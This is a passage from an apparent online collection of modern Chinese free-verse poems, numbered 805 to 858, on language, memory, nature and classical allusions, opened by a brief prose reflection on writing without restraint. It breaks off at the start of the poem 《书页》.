我在诗歌上想要达到的状态是放松下来，想怎么写就怎么写，写到哪里算哪里。管他是不是诗歌。 它们不会被自我更多的再次过目，也不会因此带着遗留中部分残缺的遗憾。 极端情况里面不像顾城或者以色列人被委以杜撰：仿佛有一种对于书写的追踪，而那绝对不是 在重复里面所得以祈求的一点点的踪迹。 也不会束之高阁，实则它太过轻微，心灵空幻。在厚厚的伪装皮囊下面，极其容易就会被淹没，焚烧和毁坏。 书书以其命运多舛。书理应当感同身受。 我水平达不到那里，而只是其他的经过了这一，而被暗示和隐约的暗示。于是这首诗是经由他人闲暇时分百无聊赖的手，它的书写状态来自于无意 以失败而终结。 当它把它的完成性指向了我，呈现为对意义的追求和索求。前半部分受到了后一半的压力， 人总是做一切皆有可能状。目光投向眼前见到的， 水草，马路。他应该是那一个，不闻不问，使得我孤独又寂寞， 如果没有束之高阁的情况发生，并且在诗歌的企图里面 时常暗示了人自身的伟大的形象时。 黄鹂805 《黄鹂》 诱导树上的黄鹂使得它在那语言中， 人就无辜。使得在那语言之中的它 需要人的解救。 以清鸣所发出，早已经超出。而它的本意 属于遗忘，把微不足道也交予遗忘。 如绿树枝叶所组成的荫绿， 一只鸟必然在游人如织中不得安宁， 被垂思所井井有条打理的景物， 包括了人有时候的汗流浃背，炎热下面的思索的 停顿，一只鸟有佛陀姿因此很远。 黄鹂806 《黄鹂》 城头上的黄鹂是旧日 妃子窗台前的那一个。 在院中为寂寞的宾妃送来了 清晨的清鸣。有时候赴约的人 穿着时髦，在褪下了一身的黄以后。 他加快了步频。试图追上那个之前的自己 而他的远去如同历史无情中的一声叹息 他忽然想起了自己前朝妃子里面，曾有一个 守着窗户，结伴于黄鹂。 作为游客他可以避开这一切， 作为始作俑者，美丽会在过去 就为一切徒增的罪恶感。他随着 众人寻找那穿黄马褂的人， 在扮演者之中为再生的宾妃而欢呼， 刹时为城头沉默的黄鹂， 赋予一双清亮的眼睛。 东南枝807 《东南枝》 人应当做自挂东南枝的鸟儿， 反驳应当有充足的依据。 我们的余生在美丽中度过， 尘世喧嚣，一只鸟儿 从此只能在天空中流离失所， 在鸣叫中有着与栖居的冲突。 在冲突里面一只鸟实则比人类， 还要脆弱，无助。 它力气太小，拿不起一只冰冷的剑戟。 敲击过后，它坚硬的喙只是一阵阵回音。 在信件之中一只鸟儿分外的 要感激于回声。如果那书写者， 即使逃脱不了人类巨大的樊笼 他意识到了，并且试着 颠倒了在怜悯之中的邪恶，如同一只鸟儿。 你只是他在大地上面的投影， 只是飞翔被窥见的短暂所给予的 长久的错觉。 你在从地面攀爬向高枝时， 在无罪的范围里面， 因如此的广阔而显得渺小。 即使，你只是想要努力的抓住 枝头，也只是一些无用功。 人类的注脚从这里开始，人类 尽是为天空与大地，推举你，好为了 他们存在可以便利的代表。 而你在枝头梦到了自己曾有可能是一个人类， 做着证伪，并在错误里面一次次的醒了过来。 听说808 《听说》 听有时因危险的 而为自我辩驳的，听着 它。有着平静的外貌， 有时候只是偶尔才求助于呼吸。 并且得到了迅速的回应 在叹息的一声里面，没有 什么会来者一般的继续发生。 没有人会因为寂寞而提出莫名其妙的 的问题。让我们走路回去， 趁着夜灯阑珊，直到 它们快要熄灭的时刻。 我们不约而同，回到了听里面。 它以自我的矛盾而替我们分担忧愁， 有那么一阵它搅乱了自我的节奏 在平静里面的池塘， 人刚刚涉水而过，尝试后的不能， 以退回来回到了岸上。那结尾， 却在平静的水面的更远处， 使得褐色的阴影，在听里面 鼓动了我们的耳朵。 屋舍809 《屋舍》 在于屋舍， 以情感，思索，和轻微的呼吸。 我们所示的事物已经有了 疲倦中多少个，带着猜疑的轮回了。 如果只是一副空空的墙壁就好， 日夜经受人的疑问， 从河波反复冲击的河岸，直到 跟随离去的人，一同走到下一个地方。 农民810 《农民》 请把花朵种在，那里 我因为言语的忽略，错误终致时 挽留已经是徒劳的土地上面。 你分明就能看到我农民的 样子和身份。看到穿着旧衣裳， 在炎炎夏日翻动土地的人类。 看的，这些穿透性是无效的。 它所能仅仅保持于自身的清澈和透亮， 在此时刻里。景物除了一个农民 他附近的屋舍，不远处浓密树林 形成远处深绿色的曲线。以及 对于风的心灵一般的需要。 直到那作为一种渴求被应允了， 实则只是彼此之间的互有索取。 在我的双手之间，所松开了的一切， 才好在你那黑色的眼睛里面 领略到，那风声的更多讯息。 梦雨811 《梦雨》 楚王梦雨，梦到了更多在雨中的人。 梦的虚幻本身，所提供遥远。 而渴求的人儿总是要一次次 自主或者不自主的走了进去。 那雨，分明首先并不是雨。雨分明 彷徨着，孤立、落寞。乃至反思般的生动。 这雨才好是说出之物，雨中的人儿 因此咎由自取。呵，梦到了雨的王， 在梦中度过别人的一生。 他是要迎着风，淋着雨， 是要参透在自己的梦中， 是否有着秘密的深刻呢。 他在醒来和入梦之间，他是对于 两种入梦和醒来的倾听 有时候薄薄的如一张纸， 被戳破，像某种了然的循环 所具有的宁静。而戳破本身如同在雨水之中 所一次次伸出来的，别人的手。 小屋812 《小屋》 我一直追逐，蜻蜓 有时候在石头，停顿了一会之后 在林中，湖泊。 言语包含了它自身 那所包含着的，被以事物的名称和名义 给召回。多么自然，一切 都被太阳光倾斜，疏影于林中的 某一个小屋。像他们从此与我相互分离， 我一时之间难以猜测于对此 进行的精确的判断。那事物， 犹如只能是在抒情里面长存，它诗歌的形式 隐隐约约的透露。 清晨，我在窗台看到了一封信，没有署名 编织美丽的花环压在淡黄色的信纸上面 为历史而不忍心开封的一切， 那一些深意仿佛一时成真。 时间813 《时间》 莫要浪费掉，时间所给予我们的宁静。 此夜，你要做一点什么。如果你不做， 那么我就要去寻找你，去追逐你 甚至让一个语言上面的笨拙者， 在你的体内寻找一席之地，而你的良心 也应当不忍心于别物呢。 此刻，你应当不再这里了 或者请求在多给你一些时间，用来 梳妆和打扮。要以美丽的样子， 英俊的外表，来赶赴一场约会。 时间缩短，是让我失败的 一个人独坐窗前，在初夏 就看到了冬天的雪花。 它们有着星星的源头， 于一众闪烁之中，你们所抵达的 欢快目的地。 如果814 《如果》 如果是我的眼睛， 在未来与过去之间， 迷乱的睁着，好使得我们 可以奔赴，离开那孤独的地方。 鲜花和掌声，音乐 人们从高大的灌木树丛里面献身 而每当他们再次的被告知 那些互相交流的部分，转过身 仿佛一切皆已经完成的回到了 灌木丛的浓密和荫绿。 留守于这些高大树枝的遮蔽 并有充裕的时间来描述光线的纵横， 迷宫。已经完成的事物，属于世界 的基础，就像在它的身上， 继续的发生，催促着语言对 远行人类一次次的寻找到。 梦雨815 《梦雨》 楚王梦到了他的，那一位女子。 在湖中，如刺痛了他感官神经一般 沐浴，温柔。如同美丽的花朵， 深入了清凉的洞庭湖。 而那些岸上的花朵分明已经 在昨日和存在于这一天里面，最初的 黎明。当那些细小，柔情般如同情谊 又为它们所各自寻找到的事物而惜别彼此。 它们在秋天里面定下了要约， 使得一位情郎声名鹊起中 翻动着L史床榻上一副躯体， 如果那迟迟未归，仅是为了更加的洁净 和美丽。仅仅她那影子如同回来一般的 在寻获的路途上面，某一个林荫小路 留下了空洞的回声。而我们为此却欣喜不已的 心灵。它那愉悦一直持续着直到睡眠 所属于的时刻。时间陡然为慢了下来 使得迟迟未归者认真的清洗她的额头， 胸脯，和肢体。这可称得上伟大， 而经过了一场梦，它那再次虚化的部分之后。 林荫816 《林荫》 在一条狭窄小路的林荫， 就如同那些话语正梦幻的被人们使用。 过去的历史和曾经在话语之中 如搏斗一般的历史。 和它们偶然的时刻被人们再次的想起。 我们称之为特例。更大的部分， 相比于那微小。甚至它们自身也会在言谈之中 一点点的消失掉了。作为一种结果被告知， 而把遗憾的情绪带来。在这宁静的林荫， 仿佛它所涉及，则已然以宏达和庄严 当它们不仅仅只是被浮光掠影的思索。 升高的景象，登山者的遗忘一般的记起 他们的思想微动，如同身边风的经过。 花朵817 《花朵》 时间差一点就如同了河流， 上林镇。 它途径的形式或者就是它， 自己。 在语言里面的那一个。 被花朵所袭扰 有一片决定从花瓣之多中离开。 在我看来时间隐秘， 因为无力而在于逃脱的本质 是丢失下。那些在于言语中 都有着命定的色彩。 而我总是在出错上面， 梨花成木，接着事物 水流向上作统一状。 那些生长高于语言而不可缺 才花团锦簇。 它们簇拥着这美丽的哲理， 包括它掉落和分为 为了哲理是很远的意思， 并且在语言里面有了沟壑般起伏时。 维京人818 《维京人》 草原上维京人。 奔驰的不幸的命运。已经结束了 因为语言。 它有可能再次的泛起 这些在嘴唇之间的戏弄。 但可笑与查证 如同一条必然拐弯和错误的道路。 使得我们所说的一次次的，停留在回了来。 我们不允许打开的，那告知平安的信封。 我们这个，从这里：异乡 向故乡试图写信报平安的人， 不懂得书写。 我们正是书写的秘密，书写 有一种光怪陆离， 下的本质。 在想象中我们伸开了自己的头脑， 作为逻辑上面的错误，投身于无着的， 是人类这一个群体的刹那突现。 流水819 《流水》 刚刚靠近水流， 就发现事情是杜撰的。发现自己 多么的柔软，如同一只手臂 深入了那江水。 在自我的幻化里面， 这些累积来自于时日漫长中痛苦的忍耐。 从羞涩开始总是一切 普遍的规律，女子的整齐。 从羞涩出发的事物，带蓝白花 头上插着美丽的配饰，额头光滑明亮。 一路，走进了事情的真相里。 等再次出来，天色已晚。 所有说的话语都重复的 连同言语都在坠江的危险之中， 再次脱身， 我们的配饰和颜色， 手儿颤抖，月光皎洁 家中的那一个，有着粗鲁性格的 叫做男子。在长年累月的呼唤里面 熟睡。 这一些820 《这些》 是语言的深处， 还是我们相信有语言的深处 或者深处这样子的一个问题。 那深处的东西以语言的方式说出， 语言的深处就成了它的表面， 这种表面在于说出的现象学一般， 或者，看。那被证明的误解的聚集之地。 而那，事物。 那相信所暗示的人的在场。 而那事物，在此是所有事物的统称， 是世界。 ——世界的深处由语言说出来， 而作为一种共生性的矛盾的和彼此纠缠， 如同人突然之间对于存在的不可思议一般。 如同一种普遍而普通的事物， 或者可以称之为，神的寓所。 蝴蝶821 《蝴蝶》 山居秋暝里面一只蝴蝶 翩翩飞。 将会为我代劳的它， 在书信里面我也提及了一只蝴蝶 它因为我未曾想到过的一些情况， 倔强不是例外， 如今它的振翅和高飞。 普通，平常而自然 饱含深意的水。 林荫一经进入，在日暮西山远 而之间，那干燥的信纸的封面 轻微的有了一些湿润 就像一些人儿的柔情难以被察觉。 成真823 成真 《成真》 有时候悲愤成真， 人是被弃之不顾的事物。 人是在语言里面的愈加深的，成为了事物。 在命运的外观之内，仿佛屋舍 这些形象的词语，在于它们因准确 而被用来作为工具的使用 如同随后它们也有着因为丢弃 而感到了可惜的心情。 那些追逐者对于旧有的事物， 接着进行到了的地方， 呈现出某种微不足道的部分和微小 以这样一种词语所组成的事物， 或者人们所常说的现代化的大厦， 更早之前，古代的伦理与社会体系 现在如同爬到了顶端往下望去 为一种过去的情景所围绕。 别无824 《别无》 你紧实如文字的一面镜子。 只有你在我的面前，让我看起来 显得别无他法。 将我如同光线，阅读目光反射回来。 使得它，有了它那 神奇兄弟一般，仿佛一切的称呼 也都会在不久之后慢慢的应验。 现在与未来的， 都在时间里面被催促着。 都在前进的命运里面， 那个唯一正确的方向， 那些催促着我们的人，是谁呢。 催促我下马， 催促我跳落悬崖， 仅仅就一点点的真， 他就在我的幻想里面催促着我， 这个人所展现的全部的身姿和动作， 以及他那混合着言语的命运， 如此的形象，如同跌落入文字里面的事物。 柳条825 《柳条》 我将听到的， 跟眼前看到的结合在一起， 在事物始终纹丝不动的时候， 如同运动和变化的含义。 如同有人问询， 那么有关于回答，指引 总是朝向，像我转过头 那些窗外的虚无也不会增多或者减少。 而爱意在我看来如此的危险， 也如此的不同。 语言里面更进一步的爱意， 或者是它那自我严肃而又庄重的称呼， 在下一刻里面， 它就会脱下厚厚的衣裳， 过去那一些由野花与柳条组成， 上面还留有着一个吻的痕迹。 男人826 《男人》 经过了几番波折后 男人已经没有了太多的力气。 男人肤浅，表面， 有时候一道光降了下来， 作为平庸的事物，在日常所见里面 它如此的平常。 而它那具体如果不能再是一种馈赠 作为不同的东西， 仿佛是在寻找的一双手那里， 辛辛苦苦，最后被扒开，随后推到了 单独的另外一边。 同时男人吟唱着家乡有关于河流的歌曲， 他有时候觉得一切在突然之间 冥冥，说太过于危险， 而他兴奋于此，尽量使得沉默带有误解的 保持住一个相当长的时间范围。 南风827 《南风》 寂静里，南风藏了起来。 我的寂静近乎于孤独， 窗台边的任何一株花， 一盆草，鸟儿只能从窗外短暂的 掠过。在不可逃避之间， 它那有可能遗失所进行的揣测 一直被一个人类拟人一般的思想着。 而它的行程，应该会展着翅膀， 在天空写满了有关于回来的文字， 那宿命的哑谜，属于尊严的部分 而我们为此所预留出来的尊重， 我们的寻找之慢，或者掩埋的惊异和突兀 如果在它们并不突兀的那些方向上面 人一次次的提到了良心这个东西， 它的失效性，却又不得不一次次的囵居于 旧有的事物，所发散的奇异的光泽。 斯宾诺沙828 《斯宾诺莎》 就连我的，轻微的失语 那些源自于肤浅和粗鄙所来的一切 当它们在语言里面泛起了波浪， 也已经被命定。 如今，这个人从先知一般那里走了回来 并保持了一种朴素与清贫。 这个人深知，面对着众生的疲惫和辛苦 就像涉及到了我的这一次，它发生的 多么的无形而又无意。 他那深知道了自己的命运的广阔的范围， 每当以我，作为一个时间错乱里面的起点 我那长久对此的误解， 也被包含在其中， 或许也还是会有别的， 因为隐藏，或者因此需要从它们那 裸露被隐藏了起来。 茶杯829 《茶杯》 在听中因为错乱， 而掉下来的望梅。我们 对于听和掉落， 修补有时候将他们当做同一个。 而归咎于看，像事情结束后 在灾难再难以有余波。 我们面前是与言语有关的木桌和 盛满了茶水的瓷杯。 我一时之间难以平静下来， 而很有可能在更长远中它们 同样也是错误的。 作为休戚与共的同一个难以被置之不理， 并且在我的，和每一个人的情绪里面 占据着更大的的部分。 观察者，将这一项美名赐予了我， 就像在风声和雷雨之后， 大可以猜测都会有一个收获运气者， 我的思绪穿过了层层雾气， 在雷电里面穿行， 在风雨里面慢慢的体会它们那更为 具体的形象。 香烟830 《香烟》 浓雾般袅袅升，让确定和辨识 成为困难的一件事。 让手指夹着香烟的人， 也夹着河水的流淌。 在沉默里面，他瘦弱的样子 一路往南。他是首先避之不及的人， 源于我们思索仅仅处在了无度的地方。 因为思无形的，当被另一个人牵连的 时候，他也没办法一而再再而三的 解释和躲避。时代的圣人， 有时候是应当作为一个伟大的 先贤。我渴望他， 如同他也渴望着我。 我这宁静事物的自身，被人类的皮囊 包裹着。像安全之于危险， 而总是在做着相反的事情。 在你与我的体内，我们互相的看见， 我们闭口不谈，将目光一同的转向 那个一言不发的人。 落梅831 《落梅》 落梅，幽怨。 。。。。时间远。 时间远远的就让我们 回到了落下梅花的那一刻。 让我们纠结于，踟蹰于 在思索的表面的不可放弃 留恋愈发的丛生，找不到源头一般 它具体的形象。 而如果那确实是怜悯之物 因为它曾经日夜的接受了人类的教化。 就算是一块顽石也已经变软 语言里面的那一块，早就已经 是如今催促我们前来的理由和座右铭。 而顽石般的语言， 正准备再一次伸开它的落网， 这人类道德的谱系，如果总是一次次的 期盼于它那例外的时刻， 而它灰心丧气于这美丽所怀的心事之远， 无论是途径了回来，折返 或者她幽怨的眼神望着这边。 梅花上832 《梅花上》 人端坐在梅花上是很危险的一件 事情。人的思， 总是会有其他的什么来找到 那些被想象具体样子的语言， 在这一路上面发生。 奔波的那一些，另一些，由你 偶然的抬起头，它那落下的时刻 是你被言语覆盖了的时刻。 而你却毫无察觉， 如同在大气层下面诞生的生物， 天然的因此，因祸得福。 想象那些梅花之外的事物， 经过了人庄严的辞令， 而首先被凝视着的回忆和思索， 不仅仅在于它们的一一聚集， 无一遗漏。 我们被未来的自己凝视着的， 这样一种奇异的感觉。 微末833 《微末》 微不足道，包括着对此最后一般 领会了的感觉。就像一种错觉 但你心知那并总是再次的开始。 如此，在语言里面。而真相 也在其中。如同被绑架了 赋予我们，那发觉的途中 越来越像是要去拯救和保护。 而现实之物，需要通过了它那单一的 美感而存在，而有时候留连于语言的范围 之内，对于超出， 那首先并不会涉及到了我们 和我们总是试图转移到别处的热情。 仿佛正是有什么孤单的事物， 正作为对象在不远处看着我们 它首先使用了注视，它等待神秘感的诞生 而因此它在自身之中， 因为人猝不及防的思绪而有了 陷于自己之中的可能。 梅花834 《梅花》 把整个世界的都归还给了你， 你这位于世界反面的人儿， 欲辨已忘言。 而思如朝暮， 所有的男子的群体中的无一遗漏。 如今还给你的是最后一个了。 你与我的关系 我是否就可以猜测想，可以推测呢。 我是否可以在一个风平浪静的午后， 早早的在虚空里面， 没有茶杯，也没有茶水袅袅升 所有的修饰词并非无用，首先并不寂寞 首先你那一副旧年的脸庞 依然在梅花上面如此的温柔。 那些准备极其轻微的发生，它不能 惊扰是自己的内心。 那些困扰着我们， 往往以感情的曲折来着称 在这样子的一个众口铄金中的 判定和断定。 从故事的结尾之外，匆匆赶了来的你。 被称作了的你， 被呼唤的人儿也是你， 在我踟蹰时刻的你， 在你奔赴时刻，如烟如世界张开来的 网，试图在情与爱，一切所顾及的 都被思索所苦苦追逐的时候。 水下835 《水下》 有时候， 我静静地躺在河流的底部， 听着世界的声音， 而不会被发现。 水下的另一个世界， 从早晨，一阵轻微的波动里面 不是因为石子引起来的， 它那永恒的冤屈和罪证， 包括着转瞬即逝， 就像水下有人，他一整天里面 都在旧日书籍，泛黄的纸叶上面 书写。 流水一般的书写， 借着水不腐烂的特性， 做别的什么小事，然后回来 再接着书写的难以想象上面 看着水的流淌之下， 而使得这是一个永恒的定语， 有时候像回声， 是我们自己的语言从水面传来。 模糊836 《模糊》 卖血，许多年以后会形成模糊， 需要慢慢弄清的记忆。这二者之间的联系 只是存在于语言上，所以莫名其妙的总是呈现 犹如对于一个读者或者对象，否则 我们难言的思，在孤独之中就痉挛又俗世般的 痛了起来。嘴里面苦起来了，傍晚的天幕降下来。 痛与记忆都在偶然之间被喂食以真实， 一一退回到了恍惚之中。它们是老实之中， 遮盖了时间和岁月的长久，对于以语言所 言说，或者别的。它们自己的形象是默不作声， 总是如此。 世界837 《世界》 无论是首先还是最后， 就像世界。 它的本身可以停留在那里，等候着 我语言的来访。 它可以推开那些自己设置了的 路障一般的雪。 如果这些阻力必然要如此的逆反和颠倒。 在人们的那里却简单如一声 惊异，在仰望发生的时候。 我在世界它被我看着的时刻， 得不出一个准确结果， 它时间的铜制的钟却因此 沉闷的敲响了。 模糊838 《模糊》 卖血，在许多年后会留下模糊的记忆。 会申诉于清晰如夜风一次次敲打着 人类最小的那一扇窗户。 向读者呈现，这独一无二的关系吧。 而我们难以言喻的困难和好奇， 穷就于思索的不能，就像某种尽头， 也像是另外一个事物的。 痛，在偶然之间被投喂以真实。痛转瞬即逝 痛的举起勺子的颤抖的我们的手，它深入了自己的形象 它在所有的事物之外，在失效的 言语的没有停止的表达中，又走了回来。 一双手839 《一双手》 所有的东西都会被检视 记忆如同手， 也会捡起不容易被发现的， 我的苦闷于天地的暂时不能被推开， 我们的手，在我夜晚休息 在夜晚来临之前， 试图回到了自己，摆动着 劳作余波的手上面。 而如同在门外敲击了一整天的 手，那些手又在它分内部 以单独和孤独的形象。 当它已经从劳作的现实 与语言中摆脱， 它所赐予我们如同在室内一般的 思索的时候的安逸 如同被一双手儿按摩和抚摸， 如同一只手的另外的一支， 终不再隐而不见， 如同我们把过去以单一和残缺 来描述，在完整的苦苦追寻之中 疲于奔命。 而这一些虚假的悖论， 也会被一双，左手和右手 抚摸。 我们的言语是那天空与土地的 辽阔的间距的梦幻， 为一双双的手儿所不真的，它们的归途。 亲戚840 《亲戚》 卖血，能否覆盖了以后对它的记忆。 如同事先就包括，但在痛苦 形象锐利的体验那里， 像其他的事物，也像别的事物。 像水中的事物，但又同时并不在于水中存在。 于是，它对于痛的人 是一种记忆，可以在通过了林荫 踏入湖边的时候被感觉到。 它端坐于水上面，已经很久了， 时间刚好合适，傍晚，形象是下沉的。 那些不痛的人如何能够感知到这一切呢， 我们的那一些亲戚， 也有他们自己的喜乐悲欢。 所随手导致的复杂，只是 在急躁的心情里面一而再咋二三的 而越来越多的对于物有了一种迁怒，怪罪。 那些我们的亲戚，有时候如同 低于水岸的事物正走了过来， 正在我们痛的，言语的不能语言的时候。 我们的语言回到了痛，声音的自然。 那是谁，有着模糊的形象， 在水一般，水的具体当中。 流水841 《流水》 有时候， 我静静躺在河流的底部， 躺在河流的中部， 上游和下游。在成为舟楫的时候 顺流而下。成为舟楫上面的风帆， 一副暂时不需要划动而摆放整整齐齐的船桨。 有更多的时刻围绕着一个船夫。 从木匠身份偶然一意孤行的男子， 寻妻者的声音 造成了五光十色的结果。 又会多么自然的被区分，被沉默 如流水的声音， 一路上不断的念出。 那些语言的形象里面的世界， 那些别的，偶然由侥幸和疲乏引起 这些正在滋生的复杂性单纯由流水引起， 区分于那些爱意的部分， 从水面的分割线往上，或者往下。 亲戚841 亲戚 《亲戚》 卖血，能否覆盖了以后对它重新的记忆。 如同事先就包括，但在痛苦 形象锐利的体验那里， 像其他的事物，也像别的事物。 像水中的事物，但又同时并不在于水中存在。 于是，它对于痛的人 是一种记忆，可以在通过了林荫 踏入湖边的时候被感觉到。 它端坐于水上面，已经很久了， 时间刚好合适，傍晚，形象是下沉的。 那些不痛的人如何能够感知到这一切呢， 我们的那一些亲戚， 也有他们自己的喜乐悲欢。 所随手导致的复杂，只是 在急躁的心情里面一而再咋二三的 而越来越多的对于物有了一种迁怒，怪罪。 那些我们的亲戚，有时候如同 低于水岸的事物正走了过来， 正在我们痛的，言语的不能语言的时候。 我们的语言回到了痛，声音的自然。 那是谁，有着模糊的形象， 在水一般，水的具体当中。 雪山842 《雪山》 在不久的将来， 被我们等待的他。 像是他被事先就叫出了的名字 因此受到惊吓， 在短暂里面有着试图马头调转， 离去的念头。 他从马匹回到了现在的自己， 而它的过去长久忍受命运 如马匹越来越凌乱的四只脚的踩踏。 这些事物因为被联想到了 而来的必然性，并不像是一个姑娘 像我们所有的脱口而去， 只是在大草原上，大雪山雪花 飘飞的季节里面， 在一首首有关于爱意的诗歌里面 所需要谈及的人类的命运时。 无题843 《无题》 我联想到了针， 联想到高空坠物，悬挂 因果的光线。我的联想出发的 起初修辞学，它修饰一切的职责。 联想到的真是假的。 双眼紧闭解决的办法 翠竹和新雨使得我存在于误解一般的 心情里面久久不能平复下来。 只有在我们的仿佛无一物当中， 每当我为未来所做的准备 只是我想要离开这里时。 剑客844 《剑客》 文字中记载了一位剑客 放下刀剑，让被杀伐和横截面一般 截断的树木自然生长，在树干， 有时候是在枝头，挂满了容易被 发现的秘密。他人，这个秘密 算不上伟大，也不愿意屈从于渺小的本质 就像剑意被修行了，但始终在一线之间。 那些我们被包括的，放弃，退步，尝试 犹如在山水间拨弄的本质。或者离开了山水 的田园小居，一时之间，走入了石井， 在现代性里面彼此茫然无措的他人 他们以数量的繁多将一个剑客， 他心意一般的围拢起来。 事物845 《事物》 以事物的形式， 当盲目是它们失去了自己的双眼， 而长久沉溺于看的世界里面 犹如它们整个的身体， 代表了现实里面的空虚，它们是 毫无怨言的事物。不发一言的 被另外的一道道的目光，检视的时刻。 以事物，是一切开始变得可疑起来了 在我的嘴唇，紧闭之中的里面 别有洞天对于准备工作的容纳，面临被 人类唾液消化掉的命运的，祈求于物， 那另外的人类的一端。这个延长线 并不总是隐而不发，在语言的日常言说里面 一点点的消失掉。同样它与此而来发现的， 或者发现本身，这一并不算的上是新鲜的。 松树846 《松树》 一棵松树的四周， 从四面和八方，将那天空也 包括在内。从四个方向上面 因为言说所带来的颠倒的危险， 或者是坠落入悬崖。 它被它周围的石头，斜坡，树丛 和梯田。从四个方向如同牢牢伸出 并系好的四条无形的缆绳，拴住。 任由颠倒和反复，在语言之中 它们又保持了一贯的沉默，把空间 留给了别人。人不在的时候，或者 事情从松树转移到了一颗巨石， 松树内部的绳索尝试突破语言的界限， 尽管这是一件很简单的事情。 信件847 《信件》 我给你写信，给你这个 我曾经认识如今陌生， 给你这个我并不认识，才有 认识可能性的人儿写信。 写那信件寄到你窗台边 被雨水打湿的情形，顺便 写写别的。信慰问了你一般 合上了，以浅黄色的信封。 像一颗心打开另一颗，心灵 是探寻，探寻那曾经捉摸不透的。 我迄今为止不能看穿这纸张背后的东西， 如同你拿起了，又放下， 存在于这之间的你。 时间848 《时间》 如果在时间指针里面， 暗藏着去秘密的有关于这和关于过往。 它单纯于不太单纯， 它如同哲理因而失误一般颜色， 与我们的言语擦肩而过而它， 才好闪身出来。 替我致意，因时间所遗留。 不因为别的，在这些极其稀少的时刻 即使你如同投递一封信件一般将它 最后的一个称作了因果。 它那万能的有效性中的这一刻，失效了 它在天平上以寄托于人所 尝试着的决绝之姿态也依然勉力于 平衡的才更加疲惫。 这不如从锁链的一端所提起来了水， 又不像别的， 如果水是最后的遗留之物， 没有其他比喻的时候。 骒马849 《骒马》 骒马，在远方投下了文字形成的时刻。 和已经形成的文字历史的影子。 是地上的那一道，正被下午的语言 刺伤着，被下午的阳光一点点的疗着伤口。 而矛盾远远不至于这一些， 那马匹是不曾暴露的另一个事物的影子 它接纳了东向那些人书写一般，探寻在 虚情假意里面的尽量温柔。 在弄错了小心谨慎和温柔之中依然坚持前进的 人儿，可见一斑，是如此的倔强 被倔强所戏弄的五千年的历史在一匹 马匹的内部还要内部，剖开的一切实乃是虚无。 回环也是它，被阻拦于路上， 或者在山水的中途，但不是那一些 突然跃入溪水中的时刻。 雨水一来850 《雨水一来》 雨水一来， 就跟这一天直接就在语言的混乱中 被表达成了，跌落到了黑夜的底部， 再也起不来，相差无几。 差了很多，人群中会引起一阵阵躁动不安。 你怎么忍心呢，你这个 被我们以书信寄送，而疲惫的比喻之美， 在于信鸽高翔于天际。它也死在了天际线， 那落在你手上面，终点的一刻。 岩石如动词一般的美丽，组成了你 院子周围的风景，美丽。但组成了你那 晃动不安如水的心灵，同时让你彻夜难眠。 入眠的人儿不是你，顿感惊异的人儿。 从另一个地方醒了过来， 被叫出了一个即属于他也不属于他的名字。 时时刻刻疲劳于思索如何呢， 千重万重的山水都瞬息间穿越过， 增添爱意之中又一抹现代，古老。 人不能站在那里，只消眼睛一看， 那看中的别人，别人看中那转瞬一撇 是我们所不能，所留不住的， 他挽留，他推辞，意欲推自己向你的。 茉莉851 《茉莉》 只有，血液一般 把我逼到了墙角旮旯。 那些再无可退，高墙没有 名字，属于某一个人儿的院落。 高墙的影子，语言的说出里面 也投下。这世界上的矛盾本身 所携带着的突兀，它也反过来会邀请 一个开口说话的人儿，打开他踟蹰不安的 嘴唇。只有血液一般的墙角的夜色里面， 才可以谈及血。在它们从一个身体里面 被外面的事物打开，有一部分留在了那 利器。更多流淌的徐徐。在个体的内部 和摊开来了的是群体与个体之间永恒的 奥秘。人应该距离着它很远的说话， 就像现在。昨夜这里是否曾有一株腊梅 被月光照着，渐渐的感到了寒冷，渐渐的 入梦。 茉莉852 《茉莉》 踟蹰的短暂后， 我应该在一个逝者位置的附近来爱你。 好来追赶上自己的之前说出的语言。 或者，回返，一直都是徒有其型。 是它将掀开来了的数个千年转手， 赠给了离他最近，使它感到了亲切的人儿。 而另一些，也并非一无所获。 使得它在回返之属于空空的从不否认， 也从不辩解，里面只顾得穿行。 一旦头儿压得更低了些，那是雨水的征兆。 是人儿，在对岸，要在离河水更远一些的地方呢。 才会更加安稳的把他们的爱意，各自不同的 放下。那些， 光滑的是人类居住长久的屋顶， 而更为的长久，只是需要一个屋顶， 和它足够坚固的屋顶就语言一般 在那房屋内部的够了。就是这样的我， 中途听闻之后，转身回返， 在人与语言的矛盾之中， 在人与矛盾的冲突之中， 它的那一些开始，也是属于它的。 存在853 《存在》 我生的时刻，过去 时常以树丛顶端的起伏轮廓。 当它们类似于群山从远处远远的望了过去， 并且，伴随着这须弥时刻的消失。 正午的那些树丛把影子垂直的留在了 自己的内部。由它们的繁多，来把一个 起伏的群山组成。人不是太阳，他 没有通过他的思索，到达垂直的高度。 夜晚854 《夜晚》 我喜欢你喜欢的， 它本身单一而重复的时候 是在我说话时。那时的它 牢牢的抓住了嘴唇上面一颗牙齿。 唇红齿白，但信笺没有写，没什么可以写。 失了业的邮递员整夜整夜的在窗外 守着伸手不见五指的浓雾。梧桐树和 核桃树，以及消失的夜色深处， 凭借着记忆还会有几棵长势不怎么良好的 石榴树被找到。此时找不到的就真正的迷失了 语言记载了你一去不复返的时刻。 星空般855 《星空般》 我不可能对一具 称作了自身的肉体有太多的责难 就像它不可能从过去回来。 从众星系之间回来的， 从天空这个圆盘的南北角落里面回来了。 那些在天空上面的晃动依然没有结束， 而爱意的嘴唇已经因为茫茫黑夜所给予的 人不知而，不知道亲吻了谁的嘴唇。 写完了日记本上如涂抹一般为抹去而毫无办法的 失败的尝试之后，我听着蛙声一片， 起身，推开了房门。爬到屋顶上看着星空， 像让星空，这毗邻于肉体之不能者的最近的比喻 也看着我。反过来，它伸出如同眼睛一般星星的闪光， 在自我解释的谜团里面，事物是不可挣脱的。 而对于入梦，像听完了我的叙述，伴随它们 自己双手的自然垂落。 无题856 《无题》 繁花像雨水， 又形容词一般的长在一棵树上。 已经857 《已经》 已经完成的事物， 在历史的闭合之中 同时找寻到了，它那 压住了自己说话嗓音的一席之地。 它，以它自身， 从舍身范险所退了回来的 仅仅一步之遥，又如邻居一般的所证明 了，历史沉默的本质。 历史在沉默里面重复的，复述于了物体的本质上面。 如此美好，总要有一些事物的光芒 带着事物那被准许离开的部分， 透过了缝隙上升。 等它们来到了土地，就此 离开了昏暗的彼端所苦苦神秘世界的建立。 当时，我垂弱，于思索不及的于其上的埋怨着， 在我这一切如此无聊的被 宏大于心灵深处的莫须有的光景所， 愈加强烈的对应着的时候， 我只是注意到了，那些如同树丛之光的东西 从树丛的根茎部位，冒了出来。 书页858 《书页》 他，不是书页上面记录光辉的文字。 简单的几个字， 